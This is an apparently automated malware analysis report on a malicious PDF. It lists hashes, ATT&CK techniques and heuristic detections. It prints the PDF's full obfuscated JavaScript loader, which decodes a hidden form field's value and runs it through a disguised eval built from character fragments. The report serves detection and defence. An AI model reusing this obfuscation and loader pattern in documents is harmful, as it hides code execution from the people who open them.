Malicious PDF — malware analysis report

Static analysis result for SHA-256 8915ed0aef1df563…

MALICIOUS

PDF

52.1 KB Created: 2012-07-28 06:32:32 +04:00 Authoring application: Adobe Acrobat 7.0 (via Adobe Acrobat 7.0 Image Conversion Plug-in) First seen: 2026-05-04
MD5: 9af2b16fc7660790d54dd947db6257a7 SHA-1: 2ec1509f73eea34578aa557e8efac45c3b8b7046 SHA-256: 8915ed0aef1df563905c6a2477d9474f6578e898b037da142c4f7aaec8a86ab3
118 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF file contains embedded JavaScript that is obfuscated using string manipulation andfromCharCode. The script decodes a string and then uses app.alert to display it, likely as a lure or to trigger further malicious activity. The ML classifier and PDF JavaScript exploit cluster heuristics indicate a high likelihood of malicious intent, specifically targeting PDF vulnerabilities for code execution.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9994

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    function shfdsfvsdfvdsfgds(str){return str.replace(/p/g,",");}
    function fdshwergdsfgdsfg(asd){return String.fromCharCode(asd);}
    function erhgsdfgdsgdsf(eds){var set='';var s=eds;
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://www.iec.chIn PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0106_000.js pdf-javascript-stream PDF /JS object 106 at offset 0xCCE6 1527 bytes
SHA-256: 80100e9aab4077e598fdaae9542d10531175e1ab10bf4d4c2e6b6a856c27e170
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function rhjahahagk(){
function bsdgdbdsfvsgfsadf(str){var set='';var s='';var ee='';
str = shfdsfvsdfvdsfgds(str);
str = str.split(",");
for(var i=0;i<str.length;i++){  
ee=str[i]/(18/6);
set+=erhgsdfgdsgdsf(ee.toString(64/4));}
return set;}
function hwegfgdsgdsfgds(hex) {
    var str = '';var zzz=fdshwergdsfgdsfg;
    for (var i = 0; i < hex.length; i += 2){
	var sssss = hex.substr(i,2);
       str +=fdshwergdsfgdsfg('asdfwefwuiegfyuadsui0x'.substr(20,2)+sssss);
}return str;}
function wggsadfsadf(input2) {var asdf =bsdgdbdsfvsgfsadf(input2) ; var asfdsad = hwegfgdsgdsfgds(asdf); return asfdsad;}
function ergtrgsgdsfgdfsg(sadsfjkgAD){var jdhjkashfhaui = "0"; return jdhjkashfhaui+sadsfjkgAD;}
function shfdsfvsdfvdsfgds(str){return str.replace(/p/g,",");}
function fdshwergdsfgdsfg(asd){return String.fromCharCode(asd);}
function erhgsdfgdsgdsf(eds){var set='';var s=eds;
if (s.length<2)
{set=ergtrgsgdsfgdfsg(s);}
else{set=s;}
return set;}
function ghsgffsadfsadf(d,dd){return d+dd;}
var b2=getField("Text1");
var aDFsdfasd=b2.value;
var aDFsdfasd=wggsadfsadf(aDFsdfasd);
var ggjkdfasdgj = "constr";
var czvhjashavsiodhvuipashcpioasdcs  = app.alert[ggjkdfasdgj+"uctor"];
var seasus=false+"";var susea=true+"";
var daeaefe="gakljsdhjkashkvhjaksjldadsf";
var argqrgqadsfwqgwafdsfwef=susea[(3+3)/2];
argqrgqadsfwqgwafdsfwef+=daeaefe[(14+14)/2];
argqrgqadsfwqgwafdsfwef+=seasus[((1+9)/5)-1];
argqrgqadsfwqgwafdsfwef+=seasus[(2+10)/6];
czvhjashavsiodhvuipashcpioasdcs[argqrgqadsfwqgwafdsfwef](aDFsdfasd);
}
rhjahahagk();
icc_00_off00004f02.icc pdf-icc-profile PDF ICC profile at offset 0x4F02 3144 bytes
SHA-256: 2b3aa1645779a9e634744faf9b01e9102b0c9b88fd6deced7934df86b949af7e